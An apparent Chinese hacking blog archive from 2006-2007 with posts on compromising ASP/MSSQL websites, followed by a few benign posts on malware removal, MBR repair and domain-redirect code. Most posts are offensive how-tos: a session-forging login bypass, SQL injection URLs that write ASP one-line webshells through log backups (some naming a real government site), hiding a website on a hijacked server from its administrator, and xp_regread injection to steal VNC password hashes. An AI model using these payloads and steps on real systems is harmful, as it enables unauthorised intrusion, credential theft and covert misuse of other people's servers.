存档

文章标签 ‘小技巧’

伪造Session登陆后台

2007年5月20日 没有评论 59 views

前不久拿到一个站webshell

发现里面有个站程序还不错..可密码一直找不到..
看登陆验证代码的时候就想是否可以修改代码..绕过验证访问后台呢..
login.asp的验证代码

< % dim user_name,user_password,upwr,uID,ukey,cmd,rs
user_name=trim(request.form("uid"))
user_password=trim(request.form("pwd"))
user_password=jk_md5(user_password,"long")
if user_name="" or user_password="" then
close_conn
response.redirect "../global/systeminfo.asp?flag=1"
end if
如果用户和密码为空就返回global/systeminfo.asp?flag=1 这个页面提示"错误帐号或密码,请重新登陆"
在往下看代码

session("UID")=rs("UserName")
session("power")=rs("Power")
Session("PSW")=rs("PSW")
rs.close:set rs=Nothing
set cmd=Nothing
close_conn
response.redirect("../system/default.asp")

如果UID,,power.PSW不为空就返回system/default.asp登陆成功

checkuser.asp代码为
< %

if session("UID")="" then
response.redirect "../gobal/systeminfo.asp?flag=1"
response.end
end if
%>

session("UID")为空同样返回gobal/systeminfo.asp?flag=1
那也就是说只要UID参数不为空就登陆成功

然后把以下代码保存为1.asp

< %
session("UID")="1"
Session("Power")="1"
%>

先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面

记录下..省的以后又忘记了

分类: 技术文章 标签: ,

web 和 数据分离

2007年5月8日 没有评论 45 views

web 和 数据分离,有Pcanywhere,数据库服务器有 IIS,
cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一个Web服务的端口
cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir创建一个虚拟目录wodexi
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/path c:\ 设置路径
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accesswrite 1设置写权限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accessread 1设置读权限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/enabledirbrowsing 1可列目录权限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs start _ server w3svc/1 启动1号Web服务
在IE网址上写http://IP/wodexi/ 呵呵出现了目录!

分类: 技术文章 标签:

LOG备份与备份差异的对比

2007年4月19日 没有评论 58 views

LOG备份

当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%

%25>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--

分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).
e).<%25Execute(request("l"))%25>

2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将

上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..

3.因为这篇文章用了很多前辈的东西,不敢说是原创,只能算做是讨论,我会将我所知道的东西在以后的
日子里一一更新上去..谢谢!!
4.感谢各位前辈提出这么一个好方法否则就不会有这篇文章了..
…………………………………………………………………………………………………………

今天测试log备份获取WEBSEHLL遇到点问题,首先说下我自己理解通过log备份和差异备份的区别(不对和不完善的请大家指出与补充)。LOG备份得到的WEBSHELL文件小,大大增加了成功率。避免了数据库里有特殊字符备份不成功的情况。今天在测试是没成功,备份出来没有一句话马,功能失去了,也就没有任何意义了。提交上来讨论下错误之处。
由于是议题讨论。用了真实地址,请勿破坏!
心下是我的语句:
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = 'c:\Sammy' with init--
;insert into cmd (a) values ('0x3C256576616C20726571756573742822732229253E')--
;backup log dweb to disk = 'd:\chen\s2.asp'--
备份结果
http://www.gzii.gov.cn/s2.asp
十六进制形式备份出来了!
我再用如下语句!
;Drop table [cmd]--
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = 'c:\Sammy' with init--
;insert into cmd (a) values ('<%eval request("s")%>')--
;backup log dweb to disk = 'd:\chen\sssjjk.asp'--

如果又如下
http://www.gzii.gov.cn/sssjjk.asp

是何原因使LOG备份不成功呢?


是因为数据表没有写到你备份的数据库当中,导致备份的ASP文件中没有写入我们希望的一句话木马,请在和数据表操作相关的语句中加入数据库名,如:create table dweb.dbo.[cmd] (a image)--,然后再执行备份语句就可以成功了

呵呵,你把马改成"<%%25Execute(request("s"))%%25>" 来试试..

注意,是加个.%25

问题已解决,把语句换成!
;insert into cmd (a) values ('<%%25eval request("s")%%25>')--
确实能成功!谢谢!

;insert into cmd (a) values ('0x3C256576616C20726571756573742822732229253E')--
楼主的这句是写 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木马
把单引号去掉就可以了
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--

…………………………………………………………………………………………………………
Blog被人渗透了一下,不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来,那次我掉了一个小东西,然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试看。嗯,方法流出去无所谓,文章留着吧。

  dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。

  饭要一口一口的吃,技术问题也要一个一个的解决,得到webshell首先要知道物理路径,然后才能说其他的。关于物理路径的暴露有很多方法,注入也可以得到,这点nbsi2已经做到了,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧

分类: 技术文章 标签:

在肉鸡建立真正完美隐藏的网站

2006年11月6日 没有评论 77 views

众所周知,隐藏IIS站点,就是隐藏IIS站点里显示出来的项目,如果不隐藏而放在肉鸡上。一般管理员一打开IIS就可以看到你的网站,说不定他也会去"黑"掉你的主页。当然大多时候他们会很惊讶`于是马上删你的站、杀毒 。XXXXX。。。

所以我们要在肉鸡上放自己的域名站的话,就必须隐藏掉那个被显示出来的项目。方法很容易。一段代码就够了,是一段方便有多个域名的站长在自己的虚拟空间里建立多个网站的代码,是我50个不同关键字中一个里查到的。在一个建站论坛看到的。一会发`按顺序写。

首先:使用网上流传的老方法`在IIS默认的站点下建立一个目录`名字自己取`别忘了就可以,但是一定要注意,这个默认站点指的是那台肉鸡的IP是默认主机头,你看到那一个IIS站点的主机头里有这个`那就在这个IIS目录建立一个真实目录。也就是有默认80的主机头

因为你的站点如果不指定主机头的话,默认是访问这个服务器的IP,这个全部未分配的80,就是默认被访问的IP了。

OK了`解析完IP后,我们要做的就是建立一个隐藏目录`在这个默认主机头的WEB目录里建立一个SEX的目录`然后在IIS里`右键打开这个站点的资源管理器`在SEX目录上右键`然后选择建立一个虚拟目录`选择命名`我还是写的sex,路径填写、这里我建立在C:\WINNT\system32\web

虚拟目录建立完后`你现在可以删除掉这个真实目录SEX了`记住一定要在"我的电脑"里删除,绝对不要在IIS里直接删。删完后,你访问http://219.X.X.X/sex/sex/,就会显示403了`目录存在,当你访问http://219.x.x.x/sex/就会显示404了。现在成功后。我们要做的就是在这个默认的IIS站点的首页文件里(要求是ASP文件)

插入这段代码:

<%
select case request.servervariables("http_host")
case "www.kao5.com"
Server.Transfer("sex/sex/index.htm")
end select
%>

这个KAO5就是你的域名,自己更改,你如果有多个站点`那就可以在server.transfer下面继续添加一个case "www.kao5.com"
Server.Transfer("sex/sex/")

SERVER.TRAN SFER里的sex /sex/就是你建立的隐藏虚拟目录,但是得记住自己的首页默认文件是那个,在虚拟目录里提早加入进去这个文档。

设置完毕保存后、我们访问www.kao5.com的时候`已经成功的访问到我的BLOG了,而不是之前的默认主机头的目录。原因是这段代码把来自KAO5玉米的IP转向到了这个目录`而IIS默认把你指到了这个默认index主页里。

但是到这,还没完`应该说才刚开始。

因为麻烦的事在后面、这样建立后,你会发现,在IIS里找不到你的网站和你建立的虚拟目录了。也不会在默认站点里主机头里出现你的域名。但是会发现除了能访问那个主页`你随便点那个连接都是404无法找到该页。

其实原因在于你现在访问的其实是http://219.x.x.x/sex/sex/index.htm,这第2个SEX其实不管怎么命名都没用,因为他只是一个名字,并不是目录名。而那个目录下能够被解析的仅仅是这个被IIS默认访问的INDEX首页文件。

所以现在我们要做的是再建立一个虚拟目录。我到刚才的默认WEB目录里,重新建立了"SEX"目录,因为当你把被删除的目录`再建立一个新的`只要名字一样。你刷新IIS站点`打开这个目录`里面就可以修改你的虚拟目录了。然后再选择建立新的虚拟目录, 这里我们把这个虚拟目录命名为"web",其实这个目录就在KAO5目录的子目录。建立完后,再到我的电脑里` 把你建立的SEX真实目录删除。不要在IIS里删。

这个新的WEB虚拟目录是做什么用的呢?原因是你访问www.kao5.com的时候,你会发现你首页所有的图片都看不到,你点一个连接`也找不到该页。因为在IIS的SEX这个虚拟目录里找不到这些图片和连接。

比如说你的虚拟目录KAO5里`有个子目录FUCK,你在IE里访问www.kao5.com/fuck,提示404找不到该页,一定觉得很奇怪,其实你这个时候访问的是:http://219.x.x.x/fuck,这个页面提示403就真该FUCK了。

所以我们需要动点手术,我们在这个新建立的虚拟目录"WEB"里,放入除首页文件外的所有文件。主要以你的首页有的连接和图片为主,不提倡用这种方法建结构比较大的站。一般咱们做个BLOG和论坛`还是没什么问题的。

在你放完除首页外所有的文件后,你就按程序来修改。如果你的站点`仅仅是几个简单的HTML页子的话,简单修改下路径就OK了,如果你的站是BLOG或者论坛,那就得费点时间改。在每级目录上`加一个上级目录就OK了。比如原来文件指定的路径是sex/conn.asP,你在SEX前加上你的虚拟目录名web就可以了。注意这个SEX目录必须在这个WEB目录里面。比如web/sex/conn.asp,修改路径就OK了。其实一般的BLOG程序修改下默认路径就可以搞定,非常简单。

如果你觉得无法理解的话,我就说个最无敌的办法吧~比如说我,如果我是做的自己的BLOG,但我又太懒不想改路径`也不懂怎么修改程序。那很简单,你把默认的`刚才说到的那个sex/sex/index.htm文件的内容改成一个自己喜欢的默认页面`比如一段音乐加一段FLASH,然后默认点击后就进入到目录sex/web/index.htm,如果你确实不懂怎么修改程序,这样做最后。 在那个WEB目录里放入你实际的BLOG程序。如果你实在还是不理解,我就说个超级无敌的办法吧?把挂马的那段代码加进去。。指向到新的目录`比如www.kao5.com/fuck/

因为按我刚才说的做,会导致首页无法更新。现在一般带数据库的程序`都是自动更新首页的。。。 所以用这个办法`既不会导致首页无法更新,还会增加美观度。

其实大家一定会觉得这样做很麻烦` 如果我在默认的主机目录里指入完整路径不就得了,其实也是可以修改代码可以这么做,不过这样的话,转进的就是http://219.x.x.x/sex/sex/index.htm,这样严重影响美观,而且很没面子。这么一大串XX不仅会让同行有黑肉鸡的欲望,也会让别人记不住你的国际域名,如果谁转载你的网站地址`也会是http://219.x.x.x/sex/sex/XXX.HTM。。那我还不如去 申请个2级域名,或者就用这个虚拟目录当BLOG。。

因为通过刚才的默认访问`转向后,所有的URL开头的HTTP://219.x.x.x/都变成了http://www.kao5.com

通过刚才的忙活后,你访问www.kao5.com后`首先转入首页,然后你的图片等等文件前面就会多个目录名,别的一切正常。绝对不会影响使用,IIS里根本就找不到你的站点,然后你把WEB这个目录外面那个目录隐藏起来,这样管理员如果不选择全显被隐藏的文件,他连目录都看不到,除非他直接输入完整路径。需要注意的是,你隐藏的文件夹,最好是隐藏外面那个文件夹`如果隐藏你的BLOG目录的话也是可以的。不过人家输入那个目录`会提示被删除。当然自己的爱好了。I需要注意的就是`不要选IIS日志,这样会被记录日志。。如果那家伙有看IIS日志的癖好,那你就倒霉了。

如果你要隐藏建立多个不同域名的网站都是可以的。因为你不管用那个域名访问`其实都是访问那个默认主机头的目录。记住下面这点就可以了

你访问www.kao5.com/fuck,就是访问219.x.x.x/fuck

你访问www.5kao.com/fuck,一样是访问219.X.X.X/FUCK
明白这个原理就知道了

分类: 技术文章 标签:

LOG备份拿SHELL

2006年11月4日 没有评论 51 views

来源: swan
dbowner 通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alterdatabaseXXXXsetRECOVERYFULL


其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backupdatabase中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是<%%>,没有任何效果。通过实际的测试,发现还是可以通过与backupdatabase类似的方式记录进去,如下:

createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backupdatabase的减小。
首先是初始化这个日志。

backuplogXXXXtodisk='c:\caonima'withinit


这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你backdatabase的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alterdatabaseXXXXsetRECOVERYFULL
backuplogXXXXtodisk='c:\Sammy'withinit
createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


这样不好,感觉上多了一条没用的东西。

createtablecmd(aimage)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backupdatabase中的增量情况同样是可以的,backupdatabase甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

alterdatabaseXXXXsetRECOVERYFULL
createtablecmd(aimage)
backuplogXXXXtodisk='c:\Sammy'withinit
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'


成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。



目前用backuplog来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backupdatabase好太多了。
[转载]backup log to get a webshell
作者:admin [bAck iN BLack]
来源:http://zhouzhen.eviloctal.org/Look.asp?LogID=822
dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为im
age的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:

create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'


这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。
首先是初始化这个日志。

backup log XXXX to disk = 'c:\caonima' with init


这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'


这样不好,感觉上多了一条没用的东西。

create table cmd (a image)


确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:


成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。



目前用backup log来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backup database好太多了。

分类: 技术文章 标签:

DCOM Server Proess Laucher (Ining Service)中了鸽子

2006年11月1日 没有评论 57 views

觉得系统不对劲。仔细查找原来是中了个免杀的鸽子。
服务名:DCOM Server Proess Laucher (Ining Service)
对应文件:C:\WINDOWS\Application Manament.exe


展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
查找DCOM Server Proess Laucher (Ining Service) 目录,查到的清删除整个目录
重启计算机
显示所有文件并且显示隐藏的系统文件
删除如下文件C:\WINDOWS\Application Manament.exe

搞定

分类: 心情随笔 标签:

MSSQL db_owner角色注入直接获得系统权限

2006年10月26日 没有评论 52 views

文章作者:lcx

相信大家对ASP+MSSQL注入都已经很熟悉了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手,如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下,好像也无技可施;除了用备份得到shell的这个思路,我在网上实在没有找出更好的入侵办法。不过,备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台,可只有干瞪眼的份。怎么办?我又扫了它的所有端口,发现开了5900,估计是管理员用了VNC对服务器进行了远程控制。这时,我就有一个思路,能不能把VNC在注册表的加密密码读出来再来破解呢?看我表演吧!
TELNET服务器的5900端口,得到讯息如图1所示,证实服务器的确用的是VNC。相信大家都会用读xp_regread来读注册表了,依次提交如下语句:

http://www.something.com/scri ... eate table [dbo].[cyfd] ([gyfd][char](255));

这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据:

http://www.something.com/script.asp?id=2;DECLARE @result  ... aster.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--

从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码:

http://www.something.com/script.asp ... sp;1=(select count(*) from cyfd where gyfd > 1)

可是结果大失我所望,gyfd的值是空的。如果这样容易的话,不会有这篇文章出现了。这是什么原因呢?我的语法不正确?翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在分析查循器里做测试,得到的结果却是个数字5。这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下,依次提交如下语句:

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));

http://127.0.0.1/script.asp?id=2;DECLARE @result bin ... er.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--

然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了,得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000。可这儿还不对,我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为正好我的vnc密码是0e3515ac0062d308,在碰到了00的情况下,xp_regread以为已经读完了它的值呢,把00当成了结束符,所以只读到了0x0E3515AC,我晕!
翻了一下书,终于让我找到了一个特殊的数据类型uniqueidentifier,是用来存储一个16字节长的二进制数据类型。把注入语句改造一下:

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);

http://127.0.0.1/script.asp?id=2;DECLARE @result unique ... ster.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--

然后再用nbsi跑一下,跑出来了,不过得到的结果是AC15350E-6200-08D3-0000-000000000000。
AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308相比,能看出来有什么不同吗?只不过顺序是颠倒的,相信大家都会小学的算术,这个不用我教了。试一下用cain破出vnc的密码,看看行不行

看样子在本机做的测试一切成功。这方法用到台湾上的站点试试,哎,依然没有跑出vnc的密码,也许繁体vnc在注册表的位置不同吧。不过,我研究了一上午,有了一点收获,就放过你吧。

分类: 技术文章 标签: ,

show.asp?id=26变show/?26形式的代码

2006年9月28日 没有评论 51 views

发现好多asp的系统在调用文章的时候如果不生成静态,输出的都是类似
http://www.xxx.com/show.asp?id=26 这种格式的.

如果可以换成 http://www.xxx.com/show/?26 这种格式,感觉清减了不少,当然对于支持伪静态的空间
还可以设置成 http://www.xxx.com/show/26 据说着杨可以增加搜索引擎收录的几率.

代码如下:
首先建立一个show目录,建立一个index.asp文件,就是系统默认的那个文件
然后把以前如果是 show.asp?id=26 的时候,show这个文件首先需要得到id一般用
id=request.QueryString("id")
之类的获得id.这里把获得id换成,获得?后面的数字,用以下代码.
id = LCase(Trim(Request.ServerVariables("QUERY_STRING")))

其他的链接数据库方式不变

Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From blog where id="&id, conn,3,3

大家可以试试,呵呵.

给个演示:

http://www.aubaby.cn/shop/?26

来自:showlife8‘s blog

分类: 资源共享 标签:

解决killMBR

2006年9月23日 没有评论 121 views

解决方法:

首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他

选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复

引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了.

分类: 资源共享 标签:

同一空间绑定多域名的ASP、PHP代码

2006年9月21日 没有评论 171 views

同一空间绑定多域名的ASP、PHP代码

一个空间,绑定多个域名
怎么实现根据访问的域名不同而跳转到不同的网站那!
看看下面的代码:

ASP代码

第一个

<%if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then
response.redirect "clang"
else
response.redirect "i.htm"
end if%>


第二个

<%
select case request.servervariables("http_host")
case "www.clang.cn" '1
response.redirect ("v3.htm")
case "clang.cn" '2
response.redirect ("i.htm")
case "www.clang.cn" '3
response.redirect ("clang.htm")
...... 继续添加 ......
end select
%>


第三个

<%if instr(Request.ServerVariables
("SERVER_NAME"),"aaa.com")>0 then
response.redirect "index.asp"
else if instr(Request.ServerVariables
("SERVER_NAME"),"bbb.com")>0 then
response.redirect "x/index.asp"
else if instr(Request.ServerVariables
("SERVER_NAME"),"ccc.com")>0 thenr
esponse.redirect "index3.asp"
end if
end if
end if%>


第四个(推荐,注意if...else if... end if循环对应)

<%
if Request.ServerVariables("SERVER_NAME")="clang.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="clang.04.vip5.cn" then
response.redirect "/index.asp"
else if Request.ServerVariables("SERVER_NAME")="tcr.clang.cn" then
response.redirect "/tblog"
else
response.redirect "/index.asp"
end if
end if
end if
end if
%>


PHP代码

<?php
if($HTTP_HOST=="www.clang.cn")
{
Header("Location: http://www.clang.cn/blog");
}
elseif($HTTP_HOST=="clang.cn")
{
Header("Location: http://clang.cn/blog");
}
else
{
include_once('/blog');
}
?>

分类: 资源共享 标签: